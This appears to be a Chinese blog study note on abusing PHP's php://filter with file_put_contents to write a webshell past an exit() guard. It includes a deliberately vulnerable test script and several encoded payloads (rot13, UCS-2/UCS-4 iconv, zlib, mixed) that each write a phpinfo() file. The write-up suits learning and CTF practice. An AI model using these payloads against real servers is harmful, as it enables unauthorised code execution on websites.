file_put_contents学习笔记

这几日在学习文件包含漏洞时碰到了一道绕过死亡exit();的题目,借此机会就学一学file_put_contents写入webshell

关于filter的知识:

php:// — 访问各个输入/输出流(I/O streams)php://input 是个可以访问请求的原始数据的只读流。

php://filter 是一种设计用来允许过滤器程序在打开时成为流的封装协议。这对于单独具有完整功能的文件函数非常有用,否则就没有机会在读取内容之前将过滤器应用于流之上。

该协议语法为:php://filter:/<action>=<name>

比如 php://filter:/resource=http://www.baidu.com

参数功能
read      读取
write写入
resource数据来源

string.strip_tags: 将数据流中的所有html标签清除
string.toupper: 将数据流中的内容转换为大写
string.tolower: 将数据流中的内容转换为小写

在本地搭好环境

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,$content);
} 

这里我没有过滤任何过滤器主要是为了方便测试

无任何编码写入

payload:php://filter/write=<?php phpinfo();?>/resource=info.php

查看文件目录,成功写入

 查看文件,成功实现

Rot13

ROT13回转13位rotate by 13 places,有时中间加了个连字符称作ROT-13)是一种简易的替换式密码。Rot13是一种非常简单的替换加密算法,只能加密26个英语字母。

这里我们现需要关闭短标签服务才能使用,因为如果开启了短标签,我们是无法成功写入shell的

 

payload:php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=info.php

 iconv字符编码转换

头文件"iconv.h"。iconv命令可以将一种已知的字符集文件转换成另一种已知的字符集文件。

它的作用是在多种国际编码格式之间进行文本内码的转换。

支持的内码包括:Unicode相关编码,如UTF-8、UTF-16、UCS-2、UCS-4编码方式等等,各国采用的ANSI编码,其中包括GB2312、BIG5等中文编码方式。

这里我们列举UCS-2、UCS-4编码方式

<?php
echo iconv("UCS-2LE","UCS-2BE",'12345678');
echo iconv("UCS-4LE","UCS-4BE",'12345678');
?>
21436587
43218765

通过UCS-2或者UCS-4的方式,目标字符串会进行2或4位一反转

在使用相应的编码方式时,要使用相应的倍数,不然不能进行反转

UCS-2

payload:php://filter//convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=info.php

 

UCS-4

这里我们需要将shell补齐为4的倍数

payload:php://filter//convert.iconv.UCS-4LE.UCS-4BE|?<ah phpiphp(ofn>?;)/resource=info.php

 

 zlib

可以利⽤ zlib 的 zlib.deflate 和 zlib.inflate 来做

payload:php://filter/zlib.deflate|zlib.inflate|<?phpinfo();?>/resource=info.php

 混合双打

我们可以利用多种编码方式混合写入shell,可用方法很多,这里就用UCS-2和rot13举一个例子吧

payload:php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|?<uc cucvcsa(b;)>?/resource=info.php

 

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值